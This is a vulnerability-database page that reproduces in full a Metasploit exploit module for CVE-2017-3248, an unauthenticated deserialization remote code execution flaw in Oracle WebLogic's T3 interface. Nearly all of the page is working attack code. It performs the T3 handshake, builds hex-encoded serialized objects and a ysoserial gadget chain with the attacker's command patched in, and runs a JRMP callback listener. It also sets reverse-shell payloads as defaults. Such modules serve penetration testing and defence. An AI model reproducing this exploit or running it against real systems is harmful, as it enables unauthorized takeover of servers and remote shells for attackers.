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Oracle Weblogic Server Deserialization RCE - RMI UnicastRef
🗓️ 16 Dec 2018 14:21:09Reported by Andres Rodriguez, Jacob Baines, Aaron SotoType 
metasploit🔗 www.rapid7.com👁 52 Views
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
 | Oracle WebLogic 12.1.2.0 RMI Registry UnicastRef Object Java Deserialization Remote Code Execution | 10 Jul 201800:00 | – | zdt |
 | Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 5 Feb 202001:43 | – | gitee |
| Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 2 Mar 202015:04 | – | gitee |
| Exploit for Code Injection in Microsoft | 27 Nov 202010:59 | – | gitee |
| Exploit for Code Injection in Microsoft | 25 Nov 202023:04 | – | gitee |
| Exploit for Code Injection in Microsoft | 17 Nov 202009:07 | – | gitee |
 | Exploit for CVE-2017-3248 | 7 Jul 201812:29 | – | githubexploit |
| Exploit for Deserialization of Untrusted Data in Oracle Weblogic_Server | 3 May 201803:13 | – | githubexploit |
 | The vulnerability of Oracle Fusion Middleware’s core components allows attackers to compromise the confidentiality, integrity, and accessibility of the protected information. | 9 Feb 201700:00 | – | bdu_fstec |
 | CVE-2017-3248 | 5 Jan 201801:08 | – | circl |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::TcpServer
#include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a serialized object (sun.rmi.server.UnicastRef)
to the interface to execute code on vulnerable hosts.
},
'Author' =>
[
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
'Jacob Baines', # Vulnerability Discovery - Tenable Network Security
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-3248']
],
'Privileged' => false,
'Platform' => %w{ unix win solaris },
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
'Payload' => {
'Encoder' => 'cmd/ifs',
'BadChars' => ' ',
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
}
],
[ 'Windows',
'Platform' => 'win',
'Payload' => {},
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
],
[ 'Solaris',
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 12
},
'DisclosureDate' => '2017-01-25'))
register_options([Opt::RPORT(7001)])
end
=begin This check is currently incompatible with the Tcp mixin. :-(
def check
resp = send_request_cgi(
'method' => 'GET',
'uri' => '/console/login/LoginForm.jsp'
)
return CheckCode::Unknown unless resp && resp.code == 200
unless resp.body.include?('Oracle WebLogic Server Administration Console')
vprint_warning("Oracle WebLogic Server banner cannot be found")
return CheckCode::Unknown
end
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
unless version
vprint_warning("Oracle WebLogic Server version cannot be found")
return CheckCode::Unknown
end
version = Rex::Version.new(version)
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
case
when version.to_s.start_with?('10.3')
return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
when version.to_s.start_with?('12.1.3')
return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
when version.to_s.start_with?('12.2')
return CheckCode::Appears unless version > Rex::Version.new('12.2.1.1')
end
return CheckCode::Safe
end
=end
def gen_resp
if target.name == 'Windows'
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
mycmd = pwrshl.each_byte.map {|b| b.to_s(16)}.join
elsif target.name == 'Unix' || target.name == 'Solaris'
nix_cmd = payload.encoded
mycmd = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
end
serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4,'0')
serialized_cmd << mycmd
# Response data taken from JRMPListener generated data:
# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe
# Modified captured network traffic bytes. Patch in command to run
# TODO: Migrate this functionality to the new JavaDeserialization utilities
@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
@resp << '673badd256e7e91d7b470200007078700000000174'
@resp << serialized_cmd
@resp << '74'
@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
@resp << '7e005a'
end
def on_client_connect(client)
# Make sure to only sent one meterpreter payload to a host.
# (or as long as the server was listening).
vprint_status("Comparing host: #{client.peerhost}")
if @met_sent.include?(client.peerhost) then return end
@met_sent << client.peerhost
print_status("Sending payload to client: #{client.peerhost}")
# Response format determined by watching network traffic
accept_conn = '4e00'
raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join
accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')
accept_conn << raccept_conn
accept_conn << '0000'
accept_conn << client.peerport.to_s(16).rjust(4,'0')
client.put([accept_conn].pack('H*'))
client.get_once
client.get_once
client.put([@resp].pack('H*'))
client.get_once
service.close_client(client)
end
def t3_handshake
# retrieved from network traffic
shake = "t3 12.2.1\n"
shake << "AS:255\n"
shake << "HL:19\n"
shake << "MS:10000000\n\n"
sock.put(shake)
sleep(1)
sock.get_once
end
def build_t3_request_object
# T3 request serialized data
# retrieved by watching network traffic
# This is a proprietary, undocumented protocol
data = '000005c3' # lenght of the packet
data << '01' # CMD_IDENTIFY_REQUEST
data << '65' # QOS
data << '01' # Flags:
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
# CONTEXT_TX_FLAG = 2
# CONTEXT_TRACE_FLAG = 4
# CONTEXT_EXTENDED_FLAG = 8
# CONTEXT_EXTENDED_USER_FLAG = 16
data << 'ffffffff' # response id
data << 'ffffffff' # invocable id
data << '0000006a' # abbrev offset
data << '0000ea60' # reconnect timeout ??
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
data << '0000001900937b484a56fa4a777666f581daa4f5b9'
data << '0e2aebfc607499b402797372007872017872027870'
data << '0000000a0000000300000000000000060070707070'
data << '70700000000a000000030000000000000006007006'
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
data << '65726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71007e0003' # (Handle) 0x007e0003
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71007e0003' # (Handle) 0x007e0003
data << '78707702000078' # block footers
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '7372' # object header
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
data << '735461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # array header (8 bytes)
data << '7061636b61676573' # ARRAY NAME = 'packages'
data << '740027' # TC_STRING className1 (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '4c000e' # object header (14 bytes)
data << '72656c6561736556657273696f6e' # releaseVersion
data << '740012' # TC_STRING (18 bytes)
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
data << '5b0012' # array header (18 bytes)
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # 0x5b42 = [B
data << '78' # block footer
data << '720024' # class (36 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
data << '7465726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '78' # class footer
data << '70' # TC_NULL
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
data << '78' # block footer
data << 'fe010000' # ----- separator -----
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '720021' # className (33 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
data << '65726e616c2e50656572496e666f' # (continued)
data << '585474f39bc908f1' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0006' # fieldCount = 6
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '5b00087061636b61676573' # 5: Array: packages
data << '740027' # TC_STRING (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '78' # block footer
data << '720024' # class (36 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;
data << '65726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # 0: Array
data << '7061636b6167657371' # packages
data << '007e0003' # Handle = 0x00730003
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # VALUE = 0x5b42 = [B
data << '78' # block footer
data << '720024' # class: (36 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
data << '6e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '78' # class footer
data << '707702000078' # block footers
data << 'fe00ff' # whatever this cruft is again
data << 'fe010000' # ----- separator -----
# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '720013' # class (19 bytes)
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0 (!!!)
data << '78' # block footer
data << '70' # NULL
data << '7750' # block header (80 bytes)
data << '21' # !
data << '000000000000000000' # 9 NULL BYTES
data << '0d' # \n
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)
data << '00' # \0
data << '12' # strLength = 18 bytes
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
data << rand_text_alphanumeric(18).unpack('H*')[0]
data << '83348cd6' # ??? UNKNOWN ??? (Note: Cannot be randomized)
data << '000000070000' # ??? UNKNOWN ???
data << rport.to_s(16).rjust(4, '0') # callback port
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
data << 'ffffffffff' # ??? UNKNOWN ???
data << '78' # block footer
data << 'fe010000' # ----- separator -----
# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72' # class
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0
data << '78' # end block
data << '70' # TC_NULL
data << '77' # block header
data << '20' # length = 32 bytes
data << '0114dc42bd071a772700' # ??? UNKNOWN ???
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)
data << '0d' # \n
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)
#data << '61863d1d' # original string = ??? UNKNOWN ???
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
data << '00000000' # NULL BYTES
data << '78' # block footer
sock.put([data].pack('H*'))
sleep(1)
sock.get_once
end
def send_payload_objdata
shost = srvhost
if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)
shost = Rex::Socket.source_address
end
# JRMPClient payload generated from ysoserial:
# Patch in srvhost and srvport
# TODO: Migrate this functionality to the new JavaDeserialization utilities
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
payload << 'fe010000' # ----- separator -----
payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '72' # class header
payload << '00025b42' # Name: 0x5b42
payload << 'acf317f8060854e0' # serialVersionUID
payload << '02' # SERIALIZABLE
payload << '0000' # fieldCount = 0
payload << '7870' # class footer
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer
payload << 'fe010000' # ----- separator -----
payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '72' # class header
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
payload << '6563743b' # (cont)
payload << '90ce589f1073296c' # serialVersionUID
payload << '02' # SERIALIZABLE
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer
payload << 'fe010000' # ----- separator -----
payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # SERIALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # block footer
payload << '72' # class header
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
payload << 'd9977d5b803baf01' # serialVersionUID
payload << '03' # WRITE_METHOD | SERIALIZABLE
payload << '0003' # fieldCount = 3
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
payload << '743b' # (cont)
payload << '7870' # remaining object header
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer
payload << 'fe010000' # ----- separator -----
# manually generated payload using an UnicastRef object
# needed parameters are patched in runtime
payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'
payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'
payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'
payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'
payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'
payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'
payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'
payload << '00787077'
# serialize the srvhost manually
unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join
unicast_dat = '000a556e696361737452656600'
unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')
unicast_dat << unicast_srvhost
unicast_dat << '0000'
unicast_dat << srvport.to_s(16).rjust(4,'0')
# unique identifier (for multiple executions)
rand_id = rand(1..65535)
unicast_dat << '000000006133'
unicast_dat << rand_id.to_s(16).rjust(4,'0')
unicast_dat << '00000000000000000000000000000078'
payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')
payload << unicast_dat
payload << 'fe010000' # ----- separator -----
# basic weblogic ImmutableServiceContext object (serialized)
payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
payload << '7461626c6553657276696365436f6e74657874' # (cont)
payload << 'ddcba8706386f0ba' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '78' # object footer
payload << '72' # block header
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
payload << '696465722e426173696353657276696365436f' # (cont)
payload << '6e74657874' # (cont)
payload << 'e4632236c5d4a71e' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # block footer
payload << '77' # block header
payload << '020600' # contents = 0x0600
payload << '7372' # class descriptor
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
payload << '6f72' # (cont)
payload << '12485a828af7f67b' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # class footer
payload << '77' # class data
#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
payload << '78' # class footer
payload << '78' # block footer
# MISSING OBJECT FOOTER (0x78)
payload << 'fe00ff' # this cruft again. some kind of footer
# sets the length of the stream
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
data << payload
sleep(2)
sock.put([data].pack('H*'))
sleep(2)
sock.get_once
end
def exploit
@met_sent = []
gen_resp
connect
print_status('Sending handshake...')
t3_handshake
print_status('Sending T3 request object...')
build_t3_request_object
start_service
print_status('Sending client object payload...')
send_payload_objdata
handler
disconnect
end
end
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25 Feb 2021 16:47Current
10High risk
Vulners AI Score10
CVSS 27.5
CVSS 39.8
EPSS0.97301
SSVC